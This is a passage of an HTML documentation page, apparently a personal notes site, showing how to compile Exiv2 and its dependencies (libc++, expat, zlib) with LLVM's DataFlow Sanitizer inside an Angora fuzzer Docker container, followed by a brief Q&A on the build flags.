</ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>DFSan</h1>\n\n<h2 id=\"dataflow-sanitizer\">DataFlow Sanitizer<a class=\"headerlink\" href=\"#dataflow-sanitizer\" title=\"Permanent link\">&para;</a></h2>\n<p>http://releases.llvm.org/8.0.0/tools/clang/docs/DataFlowSanitizer.html</p>\n<h3 id=\"compiling-exiv2-with-dfsan\">Compiling Exiv2 with DFSan<a class=\"headerlink\" href=\"#compiling-exiv2-with-dfsan\" title=\"Permanent link\">&para;</a></h3>\n<p>dfsan require all functions (including C++ libraries) to be instructed, given source code or specified ABI list. This is a tiring work, thankfully <a href=\"https://github.com/AngoraFuzzer/Angora\">Angora</a> has paved our way, which utilize dfsan to locate which bytes are related to conditional branch. So, let&rsquo;s start building in Angora container.</p>\n<p>In the following steps, we will compile libcxx using dfsan first, then compile expat and zlib, finally we can build exiv2 with dfsan.</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># run the container, this image is based on Ubuntu 16.04.6 LTS, and contain clang-7 and required abi list file.</span>\n<span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"n\">d</span><span class=\"o\">=</span><span class=\"n\">docker</span>\n<span class=\"n\">d</span><span class=\"w\"> </span><span class=\"n\">pull</span><span class=\"w\"> </span><span class=\"n\">zjuchenyuan</span><span class=\"o\">/</span><span class=\"n\">angora</span>\n<span class=\"n\">d</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">it</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">privileged</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"p\">:</span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">w</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"w\"> </span><span class=\"n\">zjuchenyuan</span><span class=\"o\">/</span><span class=\"n\">angora</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">bin</span><span class=\"o\">/</span><span class=\"n\">bash</span>\n\n<span class=\"c1\"># create our ABI list file</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span>\n<span class=\"n\">cat</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">angora</span><span class=\"o\">/</span><span class=\"n\">llvm_mode</span><span class=\"o\">/</span><span class=\"n\">build</span><span class=\"o\">/</span><span class=\"n\">dfsan_rt</span><span class=\"o\">/</span><span class=\"n\">share</span><span class=\"o\">/</span><span class=\"n\">dfsan_abilist</span><span class=\"o\">.</span><span class=\"n\">txt</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">mylist</span><span class=\"o\">.</span><span class=\"n\">txt</span>\n<span class=\"n\">cat</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">angora</span><span class=\"o\">/</span><span class=\"n\">llvm_mode</span><span class=\"o\">/</span><span class=\"n\">dfsan_rt</span><span class=\"o\">/</span><span class=\"n\">abilibstdc</span><span class=\"o\">++.</span><span class=\"n\">txt</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;</span><span class=\"w\"> </span><span class=\"n\">mylist</span><span class=\"o\">.</span><span class=\"n\">txt</span>\n\n<span class=\"c1\"># download and compile libc++, ref: https://github.com/AngoraFuzzer/Angora/blob/master/llvm_mode/libcxx/compile.sh</span>\n<span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">y</span><span class=\"w\"> </span><span class=\"n\">ninja</span><span class=\"o\">-</span><span class=\"n\">build</span>\n\n<span class=\"n\">LLVM_VERSION</span><span class=\"o\">=</span><span class=\"mf\">7.0</span><span class=\"o\">.</span><span class=\"mi\">0</span>\n<span class=\"n\">CUR_DIR</span><span class=\"o\">=/</span><span class=\"n\">data</span>\n<span class=\"n\">CLANG_SRC</span><span class=\"o\">=$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">llvm_src</span>\n\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">releases</span><span class=\"o\">.</span><span class=\"n\">llvm</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">llvm</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">releases</span><span class=\"o\">.</span><span class=\"n\">llvm</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">cfe</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">releases</span><span class=\"o\">.</span><span class=\"n\">llvm</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">compiler</span><span class=\"o\">-</span><span class=\"n\">rt</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">releases</span><span class=\"o\">.</span><span class=\"n\">llvm</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">libcxx</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">releases</span><span class=\"o\">.</span><span class=\"n\">llvm</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">libcxxabi</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">releases</span><span class=\"o\">.</span><span class=\"n\">llvm</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">libunwind</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">releases</span><span class=\"o\">.</span><span class=\"n\">llvm</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">clang</span><span class=\"o\">-</span><span class=\"n\">tools</span><span class=\"o\">-</span><span class=\"n\">extra</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">Jxf</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">llvm</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span><span class=\"w\"> </span>\n<span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"n\">llvm</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">CLANG_SRC</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CLANG_SRC</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">tools</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">Jxf</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">cfe</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span><span class=\"w\"> </span>\n<span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"n\">cfe</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"n\">clang</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CLANG_SRC</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">tools</span><span class=\"o\">/</span><span class=\"n\">clang</span><span class=\"o\">/</span><span class=\"n\">tools</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">Jxf</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">clang</span><span class=\"o\">-</span><span class=\"n\">tools</span><span class=\"o\">-</span><span class=\"n\">extra</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span><span class=\"w\"> </span>\n<span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"n\">clang</span><span class=\"o\">-</span><span class=\"n\">tools</span><span class=\"o\">-</span><span class=\"n\">extra</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"n\">extra</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CLANG_SRC</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">projects</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">Jxvf</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">compiler</span><span class=\"o\">-</span><span class=\"n\">rt</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"n\">compiler</span><span class=\"o\">-</span><span class=\"n\">rt</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"n\">compiler</span><span class=\"o\">-</span><span class=\"n\">rt</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">Jxvf</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">libcxx</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"n\">libcxx</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"n\">libcxx</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">Jxvf</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">libcxxabi</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"n\">libcxxabi</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"n\">libcxxabi</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">Jxvf</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">{</span><span class=\"n\">CUR_DIR</span><span class=\"p\">}</span><span class=\"o\">/</span><span class=\"n\">libunwind</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">xz</span>\n<span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"n\">libunwind</span><span class=\"o\">-$</span><span class=\"p\">{</span><span class=\"n\">LLVM_VERSION</span><span class=\"p\">}</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"n\">libunwind</span>\n<span class=\"n\">cp</span><span class=\"w\"> </span><span class=\"o\">./</span><span class=\"n\">libcxxabi</span><span class=\"o\">/</span><span class=\"n\">include</span><span class=\"o\">/*</span><span class=\"w\">  </span><span class=\"o\">./</span><span class=\"n\">libcxx</span><span class=\"o\">/</span><span class=\"n\">include</span>\n\n<span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">build_llvm</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">build_llvm</span>\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">CC</span><span class=\"o\">=</span><span class=\"s2\">&quot;clang -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt&quot;</span><span class=\"w\"> </span><span class=\"n\">CXX</span><span class=\"o\">=</span><span class=\"s2\">&quot;clang++ -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt&quot;</span>\n<span class=\"n\">cmake</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">G</span><span class=\"w\"> </span><span class=\"n\">Ninja</span><span class=\"w\"> </span><span class=\"o\">../</span><span class=\"n\">llvm_src</span><span class=\"o\">/</span><span class=\"w\">  </span><span class=\"o\">-</span><span class=\"n\">DLIBCXXABI_ENABLE_SHARED</span><span class=\"o\">=</span><span class=\"n\">NO</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">DLIBCXX_ENABLE_SHARED</span><span class=\"o\">=</span><span class=\"n\">NO</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">DLIBCXX_CXX_ABI</span><span class=\"o\">=</span><span class=\"n\">libcxxabi</span>\n<span class=\"n\">ninja</span><span class=\"w\"> </span><span class=\"n\">cxx</span><span class=\"w\"> </span><span class=\"n\">cxxabi</span>\n\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">CC</span><span class=\"o\">=</span><span class=\"s2\">&quot;clang -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb&quot;</span><span class=\"w\"> </span><span class=\"n\">CXX</span><span class=\"o\">=</span><span class=\"s2\">&quot;clang++ -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb&quot;</span>\n\n<span class=\"c1\"># download dependency (expat and zlib) source code</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span>\n<span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/# deb-src/deb-src/g&#39;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">apt</span><span class=\"o\">/</span><span class=\"n\">sources</span><span class=\"o\">.</span><span class=\"n\">list</span>\n<span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">update</span>\n<span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">source</span><span class=\"w\"> </span><span class=\"n\">zlib1g</span><span class=\"o\">-</span><span class=\"n\">dev</span><span class=\"w\"> </span><span class=\"n\">libexpat1</span><span class=\"o\">-</span><span class=\"n\">dev</span>\n\n<span class=\"c1\"># compile expat</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">expat</span><span class=\"o\">-</span><span class=\"mf\">2.1</span><span class=\"o\">.</span><span class=\"mi\">0</span>\n<span class=\"o\">./</span><span class=\"n\">configure</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">prefix</span><span class=\"o\">=/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">expat</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">j</span>\n\n<span class=\"c1\"># compile zlib</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">zlib</span><span class=\"o\">-</span><span class=\"mf\">1.2</span><span class=\"o\">.</span><span class=\"mf\">8.</span><span class=\"n\">dfsg</span><span class=\"o\">/</span>\n<span class=\"o\">./</span><span class=\"n\">configure</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">prefix</span><span class=\"o\">=/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">zlib</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">j</span>\n\n<span class=\"c1\"># download source code</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span>\n<span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">exiv2</span><span class=\"o\">.</span><span class=\"n\">org</span><span class=\"o\">/</span><span class=\"n\">releases</span><span class=\"o\">/</span><span class=\"n\">exiv2</span><span class=\"o\">-</span><span class=\"mf\">0.26</span><span class=\"o\">-</span><span class=\"n\">trunk</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">gz</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"n\">zxvf</span><span class=\"w\"> </span><span class=\"n\">exiv2</span><span class=\"o\">-</span><span class=\"mf\">0.26</span><span class=\"o\">-</span><span class=\"n\">trunk</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">gz</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">exiv2</span><span class=\"o\">-</span><span class=\"n\">trunk</span>\n<span class=\"o\">./</span><span class=\"n\">configure</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">disable</span><span class=\"o\">-</span><span class=\"n\">shared</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">with</span><span class=\"o\">-</span><span class=\"n\">expat</span><span class=\"o\">=/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">expat</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">with</span><span class=\"o\">-</span><span class=\"n\">zlib</span><span class=\"o\">=/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">zlib</span>\n\n<span class=\"c1\"># now, we get our binary file: ./bin/exiv2, about 38MB</span>\n</code></pre></div>\n\n<h3 id=\"qa\">Q&amp;A<a class=\"headerlink\" href=\"#qa\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"why-docker-image-zjuchenyuanangora\">Why docker image <code>zjuchenyuan/angora</code><a class=\"headerlink\" href=\"#why-docker-image-zjuchenyuanangora\" title=\"Permanent link\">&para;</a></h4>\n<p>Just to use already built-in clang-7, and two abi list files</p>\n<h4 id=\"why-ldl-lrt-lpthread\">Why <code>-ldl -lrt -lpthread</code><a class=\"headerlink\" href=\"#why-ldl-lrt-lpthread\" title=\"Permanent link\">&para;</a></h4>\n<p>It&rsquo;s required for cmake cxx, otherwise build error like <code>Host compiler appears to require libatomic, but cannot find it</code></p>\n<h4 id=\"why-compile-expat-and-zlib\">Why compile expat and zlib<a class=\"headerlink\" href=\"#why-compile-expat-and-zlib\" title=\"Permanent link\">&para;</a></h4>\n<p>exiv2 depends on these two libraries, and DFSan require their source code to be compiled with DFSan.</p>\n<p>Or, you can follow instructions here: https://github.com/AngoraFuzzer/Angora/issues/38, to create an abi list for libraries.</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">/</span><span class=\"n\">angora</span><span class=\"o\">/</span><span class=\"n\">tools</span><span class=\"o\">/</span><span class=\"n\">gen_library_abilist</span><span class=\"o\">.</span><span class=\"n\">sh</span><span class=\"w\">  </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">lib</span><span class=\"o\">/</span><span class=\"n\">x86_64</span><span class=\"o\">-</span><span class=\"n\">linux</span><span class=\"o\">-</span><span class=\"n\">gnu</span><span class=\"o\">/</span><span class=\"n\">libz</span><span class=\"o\">.</span><span class=\"n\">so</span><span class=\"w\">  </span><span class=\"n\">discard</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">mylist</span><span class=\"o\">.</span><span class=\"n\">txt</span>\n<span class=\"o\">/</span><span class=\"n\">angora</span><span class=\"o\">/</span><span class=\"n\">tools</span><span class=\"o\">/</span><span class=\"n\">gen_library_abilist</span><span class=\"o\">.</span><span class=\"n\">sh</span><span class=\"w\">  </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">lib</span><span class=\"o\">/</span><span class=\"n\">x86_64</span><span class=\"o\">-</span><span class=\"n\">linux</span><span class=\"o\">-</span><span class=\"n\">gnu</span><span class=\"o\">/</span><span class=\"n\">libexpat</span><span class=\"o\">.</span><span class=\"n\">so</span><span class=\"w\">  </span><span class=\"n\">discard</span><span class=\"w\"> </span><span class=\"o\">&gt;&gt;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">data</span><span class=\"o\">/</span><span class=\"n\">mylist</span><span class=\"o\">.</span><span class=\"n\">txt</span>\n</code></pre></div>\n\n<h4 id=\"why-disable-shared\">Why <code>--disable-shared</code><a class=\"headerlink\" href=\"#why-disable-shared\" title=\"Permanent link\">&para;</a></h4>\n<p>This is to build a single binary file for easier fuzzing.</p>\n<h4 id=\"wanna-debug-no-optimization\">Wanna debug? No optimization<a class=\"headerlink\" href=\"#wanna-debug-no-optimization\" title=\"Permanent link\">&para;</a></h4>\n<p>Compiling Exiv2 with DFSan, with -O0</p>\n<div class=\"codehilite\"><pre><span></span><code>#<span class=\"w\"> </span><span class=\"nv\">let</span><span class=\"err\">&#39;s continue our building process, use -O0 to facilitate debugging</span>\n<span class=\"err\">cd /data/exiv2-trunk</span>\n<span class=\"nv\">CFLAGS</span><span class=\"o\">=</span><span class=\"s1\">&#39;-O0&#39;</span><span class=\"w\"> </span><span class=\"nv\">CXXFLAGS</span><span class=\"o\">=</span><span class=\"s1\">&#39;-O0&#39;</span><span class=\"w\"> </span>.<span class=\"o\">/</span><span class=\"nv\">configure</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">disable</span><span class=\"o\">-</span><span class=\"nv\">shared</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">with</span><span class=\"o\">-</span><span class=\"nv\">expat</span><span class=\"o\">=/</span><span class=\"nv\">data</span><span class=\"o\">/</span><span class=\"nv\">expat</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">with</span><span class=\"o\">-</span><span class=\"nv\">zlib</span><span class=\"o\">=/</span><span class=\"nv\">data</span><span class=\"o\">/</span><span class=\"nv\">zlib</span><span class=\"w\"> </span>\n<span class=\"nv\">make</span><span class=\"w\"> </span><span class=\"nv\">clean</span><span class=\"c1\">; find . -name &#39;*.o&#39; -delete</span>\n<span class=\"nv\">make</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">j</span>\n#<span class=\"w\"> </span><span class=\"nv\">now</span><span class=\"w\"> </span><span class=\"nv\">we</span><span class=\"w\"> </span><span class=\"nv\">get</span><span class=\"w\"> </span><span class=\"nv\">bin</span><span class=\"o\">/</span><span class=\"nv\">exiv2</span>,<span class=\"w\"> </span><span class=\"nv\">about</span><span class=\"w\"> </span><span class=\"mi\">44</span><span class=\"nv\">MB</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": 